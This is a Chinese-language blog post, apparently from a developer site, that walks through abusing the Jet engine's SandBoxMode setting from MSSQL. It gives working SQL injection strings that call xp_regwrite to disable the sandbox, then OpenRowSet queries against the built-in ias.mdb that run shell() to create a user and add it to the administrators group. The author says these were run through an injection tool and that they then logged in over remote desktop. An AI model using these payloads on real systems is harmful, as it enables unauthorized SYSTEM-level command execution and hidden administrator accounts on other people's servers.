[sql server][access]沙盒漏洞


首先我在<Jet引擎可以调用VBA的shell()函数>(http://www.520hack.com)这份资料知道在accessl里可以直接进行sql查询,具体的在Access中测试.测试的SQL语句如下:

Select shell('c:/windows/system32/cmd.exe /c net user ray 123 /ad');

查看计算机管理的本地用户,马上发现多出一个ray用户,说明语句成功执行了.接下来写一个VBS脚本任意连接一个mdb来测试这个SQL语句

Set Conn=Createobject("Adodb.Connection")

Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=test.mdb"

Set Rs=Conn.execute("Select Shell(""cmd.exe /c net user ray 123 /ad"")")
Msgbox Rs(0)

运行后会出现"表达式中的'Shell'函数未定义"的错误,<Jet引擎可以调用VBA的shell()函数>提到WINDOWS在Jet 引擎中设置了一个名为SandBoxMode的开关,它的注册表位置在HKEY_LOCAL_MACHINE/SoftWare/Microsoft/ Jet/4.0/Engine/SandBoxMode里,0为在任何所有者中中都禁止起用安全设置,1为仅在允许的范围之内,2则是必须是Access 的模式下,3则是完全开启安全设置.默认情况下为2,只能在Access的模式下调用VBA的shell()函数,我们尝试将此注册表值改为0,结果成功的运行了VBS利用Jet引擎可以调用VBA的shell()函数执行了系统命令.


通常一台MSSQL服务器同时支持Access数据库,所以只要有一个sa或者dbowner的连接,就满足了修改注册表的条件,因为MSSQL有一个名为xp_regwrite的扩展,它的作用是修改注册表的值.语法如下


exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value


如果存在一个sa或者dbowner的连接的SQL注入点,就可以构造出如下注入语句

InjectionURL;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare/Microsoft/Jet/4.0/Engine','SandBoxMode','REG_DWORD','0'--

那我们将SandBoxMode开关的注册表值修改为0就成功了.接着连接到一个Access数据库中,就可以执行系统命令,当然执行系统命令我们只需要一个Access数据库相关Select的注入点或者直接用ASP文件Select调用这个VBA的shell()函数,但是实际上MSSQL有一个的OpenRowSet函数,它的作用是打开一个特殊的数据库或者连接到另一个数据库之中.当我们有一个SA权限连接的时候,就可以做到打开Jet引擎连接到一个Access数据库,同时我们搜索系统文件会发现windows系统目录下本身就存在两个Access数据库,位置在%windir%/ system32/ias/ias.mdb或者%windir%/system32/ias/dnary.mdb,这样一来我们又可以利用 OpenRowSet函数构造出如下注入语句:

InjectionURL';Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:/winnt/system32/ias/ias.mdb','select shell("net user ray 123 /ad")');--


如果你觉得不大好懂的话,我可以给你做一个简化的理解:

1,Access可以调用VBS的函数,以System权限执行任意命令

2,Access执行这个命令是有条件的,需要一个开关被打开

3,这个开关在注册表里

4,SA是有权限写注册表的

5,用SA写注册表的权限打开那个开关

6,调用Access里的执行命令方法,以system权限执行任意命令

所以,今天我使用HDSI的执行SQL命令,执行了以下命令:

EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare/Microsoft/Jet/4.0/Engines','SandBoxMode','REG_DWORD',0

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:/windows/system32/ias/ias.mdb','select shell("net user zyqq 123 /add")');

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators zyqq /add")');

最后,用这个新加上的用户,成功登陆3389

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值